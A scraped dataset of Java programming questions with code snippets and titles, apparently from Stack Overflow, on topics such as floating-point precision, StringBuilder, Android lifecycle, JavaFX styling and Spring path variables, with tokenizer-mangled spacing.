'' class= '' org.apache.tika.parser.pdf.PDFParser '' > < mime > application/pdf < /mime > < /parser > < parser name= '' parse-txt '' class= '' org.apache.tika.parser.txt.TXTParser '' > < mime > text/plain < /mime > < /parser > < parser name= '' parse-openoffice '' class= '' org.apache.tika.parser.opendocument.OpenOfficeParser '' > < mime > application/vnd.sun.xml.writer < /mime > < mime > application/vnd.oasis.opendocument.text < /mime > < mime > application/vnd.oasis.opendocument.graphics < /mime > < mime > application/vnd.oasis.opendocument.presentation < /mime > < mime > application/vnd.oasis.opendocument.spreadsheet < /mime > < mime > application/vnd.oasis.opendocument.chart < /mime > < mime > application/vnd.oasis.opendocument.image < /mime > < mime > application/vnd.oasis.opendocument.formula < /mime > < mime > application/vnd.oasis.opendocument.text-master < /mime > < mime > application/vnd.oasis.opendocument.text-web < /mime > < mime > application/vnd.oasis.opendocument.text-template < /mime > < mime > application/vnd.oasis.opendocument.graphics-template < /mime > < mime > application/vnd.oasis.opendocument.presentation-template < /mime > < mime > application/vnd.oasis.opendocument.spreadsheet-template < /mime > < mime > application/vnd.oasis.opendocument.chart-template < /mime > < mime > application/vnd.oasis.opendocument.image-template < /mime > < mime > application/vnd.oasis.opendocument.formula-template < /mime > < mime > application/x-vnd.oasis.opendocument.text < /mime > < mime > application/x-vnd.oasis.opendocument.graphics < /mime > < mime > application/x-vnd.oasis.opendocument.presentation < /mime > < mime > application/x-vnd.oasis.opendocument.spreadsheet < /mime > < mime > application/x-vnd.oasis.opendocument.chart < /mime > < mime > application/x-vnd.oasis.opendocument.image < /mime > < mime > application/x-vnd.oasis.opendocument.formula < /mime > < mime > application/x-vnd.oasis.opendocument.text-master < /mime > < mime > application/x-vnd.oasis.opendocument.text-web < /mime > < mime > application/x-vnd.oasis.opendocument.text-template < /mime > < mime > application/x-vnd.oasis.opendocument.graphics-template < /mime > < mime > application/x-vnd.oasis.opendocument.presentation-template < /mime > < mime > application/x-vnd.oasis.opendocument.spreadsheet-template < /mime > < mime > application/x-vnd.oasis.opendocument.chart-template < /mime > < mime > application/x-vnd.oasis.opendocument.image-template < /mime > < mime > application/x-vnd.oasis.opendocument.formula-template < /mime > < /parser > < parser name= '' parse-image '' class= '' org.apache.tika.parser.image.ImageParser '' > < mime > image/bmp < /mime > < mime > image/gif < /mime > < mime > image/jpeg < /mime > < mime > image/png < /mime > < mime > image/tiff < /mime > < mime > image/vnd.wap.wbmp < /mime > < mime > image/x-icon < /mime > < mime > image/x-psd < /mime > < mime > image/x-xcf < /mime > < /parser > < parser name= '' parse-class '' class= '' org.apache.tika.parser.asm.ClassParser '' > < mime > application/x-tika-java-class < /mime > < /parser > < parser name= '' parse-mp3 '' class= '' org.apache.tika.parser.mp3.Mp3Parser '' > < mime > audio/mpeg < /mime > < /parser > < parser name= '' parse-midi '' class= '' org.apache.tika.parser.audio.MidiParser '' > < mime > application/x-midi < /mime > < mime > audio/midi < /mime > < /parser > < parser name= '' parse-audio '' class= '' org.apache.tika.parser.audio.AudioParser '' > < mime > audio/basic < /mime > < mime > audio/x-wav < /mime > < mime > audio/x-aiff < /mime > < /parser > < /parsers > < /properties >",Apache Jackrabbit JCA 2.7.5 .docx and .xlsx indexing +Java,"I was referring this Oracle documentation . While trying to execute the following , Output is Why the second line of output is showing an approximate value . But not for fourth line.How the value is getting calculated ?",public static void main ( String args [ ] ) { float f = 1.1f ; double df = 1.1f ; System.out.println ( `` f= '' + f ) ; System.out.println ( `` df= '' + df ) ; f = 1.5f ; df = 1.5f ; System.out.println ( `` f= '' + f ) ; System.out.println ( `` df= '' + df ) ; } f = 1.1df = 1.100000023841858f = 1.5df = 1.5,Assigning floating value to a double value +Java,"While investigating a performance test result I found the following stack trace reported in Java Flight Recorder 's `` Hot Methods '' : From the stack trace , it looks like setting the StringBuilder 's length results in Arrays.fill being called . However , I do n't understand why this is happening because the StringBuilder 's length is set to zero.Looking at the code for Log4j 's RingBufferLogEvent.getMessageTextForWriting method , it is clear the StringBuilder 's length is never set to any other value than zero : I do n't understand how this could ever result in Arrays.fill being invoked . Looking at the code for AbstractStringBuilder , Arrays.fill should only be invoked if the new length is greater than the previous number of characters used.How could count < newLength ever be true when newLength is always zero ? JVM Version : Java HotSpot ( TM ) 64-Bit Server VM ( 25.144-b01 ) for linux-amd64 JRE ( 1.8.0_144-b01 ) , built on Jul 21 2017 21:57:33 by `` java_re '' with gcc 4.3.0 20080428 ( Red Hat 4.3.0-8 ) ( and Log4j 2.10.0 )","Stack Trace Sample Count Percentage ( % ) -- -- -- -- -- - -- -- -- -- -- -- -- -- -- -- -- java.util.Arrays.rangeCheck ( int , int , int ) 358 2.212 java.util.Arrays.fill ( char [ ] , int , int , char ) 358 2.212 java.lang.AbstractStringBuilder.setLength ( int ) 358 2.212 java.lang.StringBuilder.setLength ( int ) 358 2.212 org.apache.logging.log4j.core.async.RingBufferLogEvent.getMessageTextForWriting ( ) 201 1.242 org.apache.logging.log4j.core.async.RingBufferLogEvent.setMessage ( Message ) 201 1.242 // RingBufferLogEvent.javaprivate StringBuilder getMessageTextForWriting ( ) { if ( messageText == null ) { messageText = new StringBuilder ( Constants.INITIAL_REUSABLE_MESSAGE_SIZE ) ; // 128 } messageText.setLength ( 0 ) ; // < -- this call . Note : new length is ALWAYS zero . return messageText ; } // AbstractStringBuilder.javapublic void setLength ( int newLength ) { if ( newLength < 0 ) throw new StringIndexOutOfBoundsException ( newLength ) ; ensureCapacityInternal ( newLength ) ; if ( count < newLength ) { // < -- how can this condition be true if newLength is zero ? Arrays.fill ( value , count , newLength , '\0 ' ) ; } count = newLength ; }",How is it possible that StringBuilder.setLength ( 0 ) invokes Arrays.fill ? +Java,"I 'm looking to use guava 's Joiner to join List < String > into one string , but with surrounding strings around each one in the list . So I want to take a list of Strings : and generate this one string : The examples I see of using Joiner seem to be to generate the 3 names separated by a comma , but I 'm looking to surround each string with some extra strings ( the same ones every time ) .I hope I 'm being clear enough here . Thanks for your help .","List < String > names = Arrays.asList ( `` John '' , `` Mary '' , `` Henry '' ) ; `` your guest John is here , your guest Mary is here , your guest Henry is here ''","Is there a way to join strings , each with a specific surrounding string ?" +Java,"I was doing some tests to find out what the speed differences are between using getters/setters and direct field access . I wrote a simple benchmark application like this : Whenever I run it , I get consistent results such as these : http : //pastebin.com/hcAtjVCLI was wondering if someone could explain to me why field access seems to be slower than getter/setter method access , and also why the last 8 iterations execute incredibly fast.Edit : Having taken into account assylias and Stephen C comments , I have changed the code to http : //pastebin.com/Vzb8hGdc where I got slightly different results : http : //pastebin.com/wxiDdRix .","public class FieldTest { private int value = 0 ; public void setValue ( int value ) { this.value = value ; } public int getValue ( ) { return this.value ; } public static void doTest ( int num ) { FieldTest f = new FieldTest ( ) ; // test direct field access long start1 = System.nanoTime ( ) ; for ( int i = 0 ; i < num ; i++ ) { f.value = f.value + 1 ; } f.value = 0 ; long diff1 = System.nanoTime ( ) - start1 ; // test method field access long start2 = System.nanoTime ( ) ; for ( int i = 0 ; i < num ; i++ ) { f.setValue ( f.getValue ( ) + 1 ) ; } f.setValue ( 0 ) ; long diff2 = System.nanoTime ( ) - start2 ; // print results System.out.printf ( `` Field Access : % d ns\n '' , diff1 ) ; System.out.printf ( `` Method Access : % d ns\n '' , diff2 ) ; System.out.println ( ) ; } public static void main ( String [ ] args ) throws InterruptedException { int num = 2147483647 ; // wait for the VM to warm up Thread.sleep ( 1000 ) ; for ( int i = 0 ; i < 10 ; i++ ) { doTest ( num ) ; } } }",Why does Method access seem faster than Field access ? +Java,"This comment was made in a code review and the person who made it is no longer on our team . Any type that must be resolved by the classloader at runtime should never have instances which are held by references declared to be both final and static.Here 's the line of code : I 'm familiar with the debate of declaring loggers static or non-static , but this comment seems to be more general . I ca n't find any explanations of why static and final are bad . Can somebody elaborate ?",private final static Logger log = LoggerFactory.getLogger ( MyClass.class ) ;,Declaring variable final and static +Java,Output of the following code is 9123:9158This produces a difference of 35 between static int and AtomicInteger . I am not sure why this behaves so and I have these questions I would like to get answers for . While running on a single thread both should give same count right ? Any idea why this is not behaving so ? How do we get the correct number of calls required for StackOverflowError to occur ? Is it wrong to use AtomicInteger in a static contekt ?,"import java.util.concurrent.atomic.AtomicInteger ; public class StackOverflow { private static AtomicInteger atomicInteger = new AtomicInteger ( 0 ) ; private static int staticInt = 0 ; public static void main ( String args [ ] ) { int atomicInt = atomicInteger.incrementAndGet ( ) ; staticInt++ ; try { // recursive call to main ( ) to get StackOverflowError main ( args ) ; } catch ( StackOverflowError soe ) { System.out.println ( atomicInt+ '' : '' +staticInt ) ; // staticInt gets more count , why so ? } } }","static int is getting more count than AtomicInteger in single thread , why so ?" +Java,"I 'm having a problem in writing an algorithm to help me scan a file system and find all subclasses of a certain class.Details : I 've an app that scans an external application using nio Files.walk ( ) while retrieving I check for `` extends SuperClass '' while reading the file if the word exits , I add the class name in my list as follows : The problem with the above is that it only gets direct subclasses of SuperClass but I need to retrieve all direct and indirect subclasses.I thought about recursion since I 've no Idea how many subclasses of SuperClass there is but I could n't implement any reasonable implementation.NOTES : Scanning more than 600 thousands fileI have no Idea how many direct/indirect subclasses of SuperClass there isThe application that I 'm scanning is external and I ca n't modify its code so I 'm only allowed to access it by reading files and see where extends exists If there is a non-recursive solution to the problem that would be great but if there 's no other way , I 'll be more than happy to accept a recursive one since I care about the solution more than performance.Edit : I use the following regex to compare both name and import to make sure even in case of same name different packages the output is correct : I also tried : But there is also some missing subclasses , I believe that the code bellow skips some checks , and does n't fully work : } Any help is truly appreciated ! Edit 2I also noticed another problem , is that when I detect a subclass I get the file name currentPath.getFileName ( ) which might or might not be the subclass name as the subclass may be a nested or non-public class in the same file .","List < String > subclasses = new ArrayList < > ( ) ; Files.walk ( appPath ) .filter ( p- > Files.isRegularFile ( p ) & & p.toString ( ) .endsWith ( `` .java '' ) ) .forEach ( path - > { try { List < String > lines = Files.readAllLines ( path ) ; Pattern pattern = Pattern.compile ( `` \\bextends SuperClass\\b '' ) ; Matcher matcher = pattern .matcher ( lines.stream ( ) .collect ( Collectors.joining ( `` `` ) ) ) ; boolean isChild = matcher.find ( ) ; if ( isChild ) subclasses.add ( path.getFileName ( ) .toString ( ) ) ; } catch ( IOException e ) { //handle IOE } Pattern pattern = Pattern.compile ( `` ( `` +superClasss.getPackage ( ) + '' ) [ \\s\\S ] * ( \\bextends `` +superClass.getName ( ) + '' \\b ) [ \\s\\S ] '' ) ; Pattern pattern = Pattern.compile ( `` \\bextends `` +superClass.getName ( ) + '' \\b '' ) ; public static List < SuperClass > getAllSubClasses ( Path path , SuperClass parentClass ) throws IOException { classesToDo.add ( baseClass ) ; while ( classesToDo.size ( ) > 0 ) { SuperClass superClass = classesToDo.remove ( 0 ) ; List < SuperClass > subclasses = getDirectSubClasses ( parentPath , parentClass ) ; if ( subclasses.size ( ) > 0 ) classes.addAll ( subclasses ) ; classesToDo.addAll ( subclasses ) ; } return classes ;",Find direct and indirect subclasses by scanning filesystem +Java,"Problem 15 : Starting in the top left corner of a 2×2 grid , there are 6 routes ( without backtracking ) to the bottom right corner.How many routes are there through a 20×20 grid ? So my attempt at Problem 15 is kinda bruteforcy because I try to get permutations of all of the possible valid paths by going from right to left and changing the predecessor of the first change of direction . For example , when I have a 2x2 grid ( look at the Problem 15 link graphics ) the first path I 'll take is right - right - down - down and the last one I 'll take is down - down - right - right , which is also my termination criteria . I add the possible valid paths into a list and also use that list to determine whether the valid path has been already added or not . And to permutate a path I 'll do what I 've mentioned earlier : I go from right to left in my array ( Which in the graphic would be the bottom right corner where the arrowhead points at ) and change the first element of which the next element is different from itself . So right - right - down - down would become right - right - right - down , which is obviously invalid since you have to have the same amount of rights and downs to be able to reach the end corner . So what I thought is to make another loop going from left to right and change as many elements as needed to get a valid path . So in this example right - right - right - down becomes down - right - right - down . Also , what I forgot is that I 'm not counting the points , I 'm counting the edges from top left corner to bottom right corner.So I have already written some code , but it does n't work at all.It somehow does n't change anything anywhere.and so on is all it 's outputting . It seems that the code simply does n't permutate my path , but also does n't get stuck in any of the for loops . My best guess would be that my function criteria are placed in the wrong sequenceI also thought of a solution with backtracking like we did for a labyrinth two years ago in school , but I want to see if this approach is anywhere viable or not before redoing everything.EDIT : I 'll try to implement the images of the 2 x 2 grid example asap , but the ProjectEuler website is under maintainance at the moment .","package projecteuler ; import java.util.ArrayList ; public class Projecteuler { public static final int GRIDSIZE = 2 ; public static void main ( String [ ] args ) { ArrayList < boolean [ ] > paths = new ArrayList < > ( ) ; paths.add ( new boolean [ GRIDSIZE * 2 ] ) ; for ( int i = 0 ; i < GRIDSIZE ; i++ ) { paths.get ( 0 ) [ i ] = true ; paths.get ( 0 ) [ GRIDSIZE * 2 - 1 - i ] = false ; } boolean [ ] buf = paths.get ( 0 ) .clone ( ) ; printArr ( buf ) ; boolean tmp ; while ( ! checkTerminate ( paths ) ) { while ( paths.contains ( buf ) ) { tmp = buf [ buf.length - 1 ] ; for ( int i = buf.length - 1 ; buf [ i - 1 ] ! = tmp & & 0 < i ; i -- ) { buf [ i ] = ! buf [ i ] ; for ( int j = 0 ; checkValid ( buf ) & & j < i ; j++ ) buf [ j ] = ! buf [ j ] ; } } paths.add ( buf.clone ( ) ) ; printArr ( buf ) ; } System.out.println ( paths.size ( ) ) ; } public static boolean checkTerminate ( ArrayList < boolean [ ] > paths ) { boolean [ ] endPath = new boolean [ GRIDSIZE * 2 ] ; for ( int i = 0 ; i < GRIDSIZE ; i++ ) { endPath [ i ] = false ; endPath [ GRIDSIZE * 2 - 1 - i ] = true ; } return paths.contains ( endPath ) ; } public static boolean checkValid ( boolean [ ] arr ) { int countR = 0 , countL = 0 ; for ( int i = 0 ; i < arr.length ; i++ ) if ( arr [ i ] ) countR++ ; else countL++ ; return countR == countL ; } public static void printArr ( boolean [ ] arr ) { for ( int i = 0 ; i < arr.length ; i++ ) System.out.print ( arr [ i ] ? `` right `` : `` down `` ) ; System.out.println ( ) ; } } right right down down right right down down right right down down right right down down ...",Getting all possible down- and right edge paths in a n x n grid +Java,By Java source code we have thatHow and where is threadStatus updated ? The idea would be to eventually try to weave around updating methods with AOP and have a callback on threadStatus changes .,// variable not written or updated anywhere on this classprivate volatile int threadStatus = 0 ; public State getState ( ) { // get current thread state return sun.misc.VM.toThreadState ( threadStatus ) ; },java.lang.Thread - where does threadStatus come from ? +Java,"Suppose we have this class and its inner class : I am surprised that inner.foo works . Since foo is private , it can be accessed only through getFoo ( ) , right ?","/* Outer.java */public class Outer { private static class Inner { private final Object foo ; public Inner ( Object foo ) { this.foo = foo ; } public Object getFoo ( ) { return foo ; } } Inner inner = parse ( /* someMistery */ ) ; // Question : to access foo , which is recommended ? Object bar = inner.getFoo ( ) ; Object baz = inner.foo ; }",What is the recommended/correct way to access fields in an inner class ? +Java,"It is common to have Application class as followDuring normal circumstance , Application 's onCreate will always be called before entry point Activity 's onCreate.However , if I run the following command while the app is launchedThe app will be closed . If , I tap on the app icon to launch again . This is what happensApplication 's onCreate is not executed ! Activity 's onCreate is executed , and WeNoteApplication.instance ( ) is nullI look at some Google 's Android source code ( WorkManager for instance ) https : //github.com/googlecodelabs/android-workmanager/issues/80In their comment , they states thatIt seems that , if backup related process is involved , Application 's onCreate will not be executed ! Why it is so ? Is this behavior ever documented some where ? Issue trackerhttps : //issuetracker.google.com/issues/138423608Full example for bug demonstrationhttps : //github.com/yccheok/AutoBackup-bug","public class WeNoteApplication extends MultiDexApplication { public static WeNoteApplication instance ( ) { return me ; } @ Override public void onCreate ( ) { super.onCreate ( ) ; me = this ; public class MainActivity extends AppCompatActivity { @ Override protected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; // Normally , it will NOT be null . android.util.Log.i ( `` CHEOK '' , `` WeNoteApplication - > `` + WeNoteApplication.instance ( ) ) ; c : \yocto > adb shell bmgr restore com.yocto.wenoterestoreStarting : 1 packagesonUpdate : 0 = com.yocto.wenoterestoreFinished : 0done // 1 . The app is performing an auto-backup . Prior to O , JobScheduler could erroneously// try to send commands to JobService in this state ( b/32180780 ) . Since neither// Application # onCreate nor ContentProviders have run , ...",Why backup related process might cause Application 's onCreate is not executed ? +Java,"I noticed that every element which inherits from the Control class has an underscore at the bottom . You can see it in the picture : When I put a focus on any of items , the line disappears . Why does it happen and how can I get rid of that ? Code : Main.javasample.fxmlsample.css","package sample ; import javafx.application.Application ; import javafx.fxml.FXMLLoader ; import javafx.scene.Parent ; import javafx.scene.Scene ; import javafx.stage.Stage ; public class Main extends Application { @ Override public void start ( Stage primaryStage ) throws Exception { Parent root = FXMLLoader.load ( getClass ( ) .getResource ( `` sample.fxml '' ) ) ; primaryStage.setTitle ( `` Hello World '' ) ; primaryStage.setScene ( new Scene ( root , 300 , 275 ) ) ; primaryStage.show ( ) ; } public static void main ( String [ ] args ) { launch ( args ) ; } } < ? import javafx.scene.layout.GridPane ? > < ? import javafx.scene.control.Button ? > < ? import javafx.scene.control.ProgressBar ? > < ? import javafx.scene.layout.HBox ? > < ? import javafx.scene.control.ComboBox ? > < ? import java.lang.String ? > < ? import javafx.collections.FXCollections ? > < GridPane stylesheets= '' @ sample.css '' xmlns : fx= '' http : //javafx.com/fxml '' alignment= '' center '' > < HBox > < ProgressBar minWidth= '' 100 '' progress= '' 0.3 '' / > < Button text= '' Button '' / > < Button text= '' Button '' / > < Button text= '' Button '' / > < ComboBox > < items > < FXCollections fx : factory= '' observableArrayList '' > < String fx : value= '' String '' / > < String fx : value= '' String '' / > < String fx : value= '' String '' / > < /FXCollections > < /items > < /ComboBox > < /HBox > < /GridPane > .root { -fx-background-color : gray ; }",JavaFX - Why there is a line under every Control element and how to remove it ? +Java,"I 'm trying to create a regex to recognize English numerals , such as one , nineteen , twenty , one hundred and twenty two , et cetera , all the way to the millions . I want to reuse some parts of the regular expression , so the regex is being constructed by parts , like so : I was wondering if anyone has already done the same ( and would like to share ) , as these regexes are quite long and it 's possible that they have something that they should n't , or something that I may be missing . Also , I want them to be as efficient as possible so I 'm looking forward for any optimization tips . I 'm using the Java regex engine , but any regex flavour is acceptable .","// replace < TAG > with the content of the variableONE_DIGIT = ( ? : one|two|three|four|five|six|seven|eight|nine ) TEEN = ( ? : ten|eleven|twelve| ( ? : thir|for|fif|six|seven|eigh|nine ) teen ) TWO_DIGITS = ( ? : ( ? : twen|thir|for|fif|six|seven|eigh|nine ) ty ( ? : \s+ < ONE_DIGIT > ) ? | < TEEN > ) // HUNDREDS , et cetera",Scalable Regex for English Numerals +Java,Is there a more concise way of creating an Optional.ofNullable of specified type without assigning it to the variable ? The working solution : Here I get an error : `` Type mismatch : can not convert from Optional to Optional '',"public Optional < V > getValue2 ( K key ) { Node < K , V > node = getNode ( key ) ; Optional < V > nullable = Optional.ofNullable ( null ) ; return isNull ( node ) ? nullable : Optional.ofNullable ( node.getValue ( ) ) ; } public Optional < V > getValue ( K key ) { Node < K , V > node = getNode ( key ) ; return isNull ( node ) ? Optional.ofNullable ( null ) : Optional.ofNullable ( node.getValue ( ) ) ; }",Optional null value with a type +Java,"How can I make an IntStream that starts in the middle of a given sequential range , and then streams the next numbers starting in the middle and alternating to the left and right . For example , for a given sequential range of numbers 1 2 3 4 5 , the custom sequence would be 3 2 4 1 5 or 3 4 2 5 1 depending whether you start with left or right first.I basically am trying to iterate through an array starting from the middle and going outward evenly ( not going to the left or right fully first ) .I have tried this using just for loops but the code is messy and I think it would be much better to just line up a collection or stream of numbers instead of checking for it on the fly ( because of all the index out of bounds exceptions that have to be checked for ) . Here is the original code that I think would be much better as a pre computed stream of ints :","int middle = myArray.length / 2 ; Object value = myArray [ middle ] ; //have to reference middle since the for loop wo n't //do operation on value for ( int offset = 1 ; true ; offset++ ) { int nextRight = middle + offset ; int nextLeft = middle - offset ; if ( nextRight < myArray.length ) { // Have to guard against exception , but ca n't catch exception ahead of time because left or null may not be empty . Object value = myArray [ nextRight ] ; //do operation on value } if ( nextLeft > = 0 ) { Object value = myArray [ nextRight ] ; //do operation on value } if ( nextRight > = myArray.length ) { break ; //exit logic } if ( nextLeft < 0 ) { break ; //exit logic } }",Create a stream of custom alternating numbers +Java,"I would like to know how I can disable redirect for specific requests when using HttpClient . Right now , my client either allows or disables redirects for all its request . I want to be able to make some requests with redirects but some with redirect disable , all with the same client . Is it possible ? Example of using two clients ( this is what I want to avoid ) :",import org.apache.http.client.methods.HttpGet ; import org.apache.http.impl.client.CloseableHttpClient ; import org.apache.http.impl.client.HttpClientBuilder ; import org.apache.http.impl.client.HttpClients ; public class MyClass { public static void main ( String [ ] args ) throws Exception { // Redirected client CloseableHttpClient client = HttpClients.createDefault ( ) ; HttpGet get = new HttpGet ( `` http : //www.google.com '' ) ; client.execute ( get ) ; // Non-redirected client CloseableHttpClient client2 = HttpClientBuilder.create ( ) .disableRedirectHandling ( ) .build ( ) ; HttpGet get2 = new HttpGet ( `` http : //www.google.com '' ) ; client2.execute ( get2 ) ; } },Disable redirect for specific requests with the same client using HttpClient +Java,Is there a way to find out by reflection whether a constructor is a compiler generated default constructor or not ? Or is there some other way ? Surprisingly the isSynthetic method does not give this information so it ca n't be used . And there is no Generated annotation present.This question asks the same thing but for C # : Detect compiler generated default constructor using reflection in C #,public class JavaTest { public void run ( ) throws Exception { out.println ( JavaTest.class.getConstructors ( ) [ 0 ] .isSynthetic ( ) ) ; // Prints false out.println ( Arrays.asList ( JavaTest.class.getConstructors ( ) [ 0 ] .getAnnotations ( ) ) ) ; // Prints [ ] } },Is constructor generated default constructor ? +Java,"I just came across a piece of code I find interesting ( because I have never seen it as a question before in 2 years of programming ) The output is 4.I am wondering why is the left most ' y ' evaluated first instead of the ' ( y+=1 ) ' which would then resulted in an output of 5 . ( in other words , why is the bracket not forcing the order of precedence ? ) I am not sure what to search since searching 'java order of precedence ' returns results that at best shows tricky examples of y++ , ++y kind of questions or just the order of precedence table.I tagged Java but I have tested this with C # and javascript so it is probably a general thing in programming.UpdateI was mistaken about the order of precedence and order of evaluation.This article helped me to further understand the answers provided .",int x = 5 ; int y = 3 ; int z = y + ( y+=1 ) % 4 + ( x-=2 ) / 3 ; System.out.println ( z ) ;,Java order of precedence +Java,Suppose I have 1 base class and a derived class.The derived class has extra fields that the base class doesn't.I then instantiate the derived class and assign it to a definition of the base class.What happens when I serialize and deserialize the object via the base class.For example : If I now serialise `` obj '' does var2 get included ?,Class TypeA { int var1 ; } Class TypeB extends class TypeA { int var2 ; } Class X { public TypeA obj = new TypeB ( ) ; },Serialize/deserialize via super class +Java,"Is Java capable of creating more than one EDT at a time ? I 'm experimenting with setting up EDT and how it works in updating the content of a `` heavy duty '' panel with potentially a dozen of panels embedded inside and with hundreds of components altogether . Currently I haveI 've looked at the following posts : Measuring `` busyness '' of the event dispatching thread How does the event dispatch thread work ? Java Event-Dispatching Thread explanationhttp : //en.wiki2.org/wiki/Event_dispatching_threadand so forth.I sort of understand that if there are , say a dozen of events , that an single EDT has to handle , Java already has an internal scheduling mechanism to group/prioritize these events.According to http : //docs.oracle.com/javase/tutorial/uiswing/concurrency/dispatch.htmlSo what if I create a 2nd EDT with new Thread ( new Runnable ( ) { ... } .start ( ) below ? Will java automatically merge the two EDTs back to one for fear of thread safety ?",public void run ( ) { SwingUtilities.invokeLater ( new Runnable ( ) { public void run ( ) { panel.update ( ) ; } } ) ; } `` This is necessary because most Swing object methods are not `` thread safe '' : invoking them from multiple threads risks thread interference or memory consistency errors . '' new Thread ( new Runnable ( ) { public void run ( ) { SwingUtilities.invokeLater ( new Runnable ( ) { public void run ( ) { panel.update ( ) ; } } ) ; } } ) .start ( ) ;,Is there a way to set up two or more the event dispatch thread ( EDT ) ? +Java,Just iterating below list & adding into another shared mutable list via java 8 streams . What is the difference between above three iteration & which one we need to use . Are there any considerations ?,"List < String > list1 = Arrays.asList ( `` A1 '' , '' A2 '' , '' A3 '' , '' A4 '' , '' A5 '' , '' A6 '' , '' A7 '' , '' A8 '' , '' B1 '' , '' B2 '' , '' B3 '' ) ; List < String > list2 = new ArrayList < > ( ) ; Consumer < String > c = t - > list2.add ( t.startsWith ( `` A '' ) ? t : `` EMPTY '' ) ; list1.stream ( ) .forEach ( c ) ; list1.parallelStream ( ) .forEach ( c ) ; list1.forEach ( c ) ;",Should I use shared mutable variable update in Java 8 Streams +Java,"I 'm trying to understand exactly how Java strings are immutable . I get that this should probably be an easy concept , but after reading several online web pages I still do n't quite understand.I do n't understand how Java Strings are `` immutable '' . I currently have the following code : My output is the following : Why is this happening if a string is supposed to be immutable ? Why am I able to re-assign a value to the string ?",public static void main ( String [ ] args ) { String name = `` Jacob Perkins '' ; System.out.println ( name ) ; name = name + `` ! `` ; System.out.println ( name ) ; } Jacob PerkinsJacob Perkins !,How do Java strings work +Java,I am learning the static block functionality in core java.I thought the output would be : but the actual output is : and I have no idea why .,public class ClassResolution { static class Parent { public static String name = `` Sparsh '' ; static { System.out.println ( `` this is Parent '' ) ; name = `` Parent '' ; } } static class Child extends Parent { static { System.out.println ( `` this is Child '' ) ; name = `` Child '' ; } } public static void main ( String [ ] args ) throws ClassNotFoundException { System.out.println ( Child.name ) ; } } this is Parent this is Child Child this is ParentParent,Why is n't the static block of Child class executed when Child.name is accessed ? +Java,"Im trying to figure out how apps like swipe pad ( https : //market.android.com/details ? id=mobi.conduction.swipepad.android ) can hook guestures regardless of what window/app is on top , and how its able to draw and interact without stopping the background apps below it.I have been able to create apps like dialogs and popup windows , but i can not get them to show without stopping/freezing the background application.UPDATE : found a suitable solution.in your service 's onCreate add thistouch events are handled just like regular except when you dont touch an element of the services gui , then the service doesnt read the touch and its dropped through to the underlying program","WindowManager.LayoutParams params = new WindowManager.LayoutParams ( WindowManager.LayoutParams.WRAP_CONTENT , WindowManager.LayoutParams.WRAP_CONTENT , WindowManager.LayoutParams.TYPE_SYSTEM_ALERT , WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL|WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE , PixelFormat.TRANSLUCENT ) ; params.setTitle ( `` title '' ) ; WindowManager wm = ( WindowManager ) getSystemService ( WINDOW_SERVICE ) ; wm.addView ( layout , params ) ;",Draw and hook guestures without stopping app underneith +Java,I add and remove fragments like this : ADDREMOVEThere is a fast slide animation . The fragment comes from bottom and goes back to bottom.My issue is when you press the back button ( depop the fragment ) and before the animation is finished you touch the activity that is appearing behind.It gives me a simple Fatal signal 11 error ( more often on samsung galaxy s3 ) Any idea ?,"getSherlockActivity ( ) .getSupportFragmentManager ( ) .beginTransaction ( ) .setCustomAnimations ( R.anim.slide_in_bottom , R.anim.slide_out_top , R.anim.slide_in_top , R.anim.slide_out_bottom ) .add ( R.id.fragment_explore , fragment ) .addToBackStack ( null ) .commit ( ) ; ActivityMain.BACKSTACK_EXPLORE.add ( fragment ) ; Fragment depopFragment = BACKSTACK_EXPLORE.get ( BACKSTACK_EXPLORE.size ( ) - 1 ) ; getSupportFragmentManager ( ) .beginTransaction ( ) .setCustomAnimations ( R.anim.slide_in_top , R.anim.slide_out_bottom , R.anim.slide_in_bottom , R.anim.slide_out_top ) .remove ( depopFragment ) .commit ( ) ; BACKSTACK_EXPLORE.remove ( depopFragment ) ;",Remove fragment crash +Java,"I have a Java swing launcher program to launch another class ( running its main method ) .Each program has its cancel button to exit itself . I use System.exit ( 0 ) ; when this cancel button is pressed.The launcher program does this in actionPerformed : When I press the program 's cancel button , it also closes my launcher program . How can I avoid this situation ?",if ( source==carMenuItem ) { ta.append ( `` Car launched\n '' ) ; TestCar.main ( par ) ; } if ( source==DialogboxMenuItem ) { ta.append ( `` Dialogbox launched\n '' ) ; DialogBox.main ( par ) ; } if ( source==LengthConversionMenuItem ) { ta.append ( `` LengthConversion launched\n '' ) ; LengthConversion.main ( par ) ; },"How can I exit only my sub-program , not the whole VM ?" +Java,"I have researched this issue a lot and I did not manage to find anyone mentioning anything similar.I am creating a spring boot app and using GetMapping to map my resources . For some reason , I am getting strange errors when I am using UUID as my PathVariable.Controller.javatest.html - with the stylesheet that does not exist.This will result in the following error : test.html - I will NOT get an error if I am using an valid css fileController.java - If the UUID is followed by a slash / and an invalid CSS file , then I wo n't get any error.I seems like the invalid CSS leaks into the second UUID . I know that I can simply solve this problem by not using invalid CSS path , but I am dying to understand why I am getting this kind of error.EDIT : I have created a simple test application to showcase the error . This might make it easier for you to tinker with it . Run the project as a Spring Boot Application and visit localhost:8080 - Remember to pay attention to your console.https : //github.com/kkflf/SpringBootUuidWarning",@ GetMapping ( `` /test/ { id1 } '' ) public String testMethod ( @ PathVariable UUID id1 ) { return `` test '' ; } Request : /test/b74adb59-af60-423e-a3dd-c2f356114b51 < html > < head > < link rel= '' stylesheet '' href= '' bullshit '' > < /head > < body > < h1 > This is a test page < /h1 > < /body > < /html > org.springframework.web.method.annotation.MethodArgumentTypeMismatchException : Failed to convert value of type 'java.lang.String ' to required type 'java.util.UUID ' ; nested exception is java.lang.IllegalArgumentException : Invalid UUID string : bullshit2018-02-22 03:49:23.062 WARN 252700 -- - [ nio-8080-exec-5 ] .m.m.a.ExceptionHandlerExceptionResolver : Resolved exception caused by Handler execution : org.springframework.web.method.annotation.MethodArgumentTypeMismatchException : Failed to convert value of type 'java.lang.String ' to required type 'java.util.UUID ' ; nested exception is java.lang.IllegalArgumentException : Invalid UUID string : bullshit at org.springframework.web.method.annotation.AbstractNamedValueMethodArgumentResolver.resolveArgument ( AbstractNamedValueMethodArgumentResolver.java:128 ) at org.springframework.web.method.support.HandlerMethodArgumentResolverComposite.resolveArgument ( HandlerMethodArgumentResolverComposite.java:121 ) at org.springframework.web.method.support.InvocableHandlerMethod.getMethodArgumentValues ( InvocableHandlerMethod.java:160 ) at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest ( 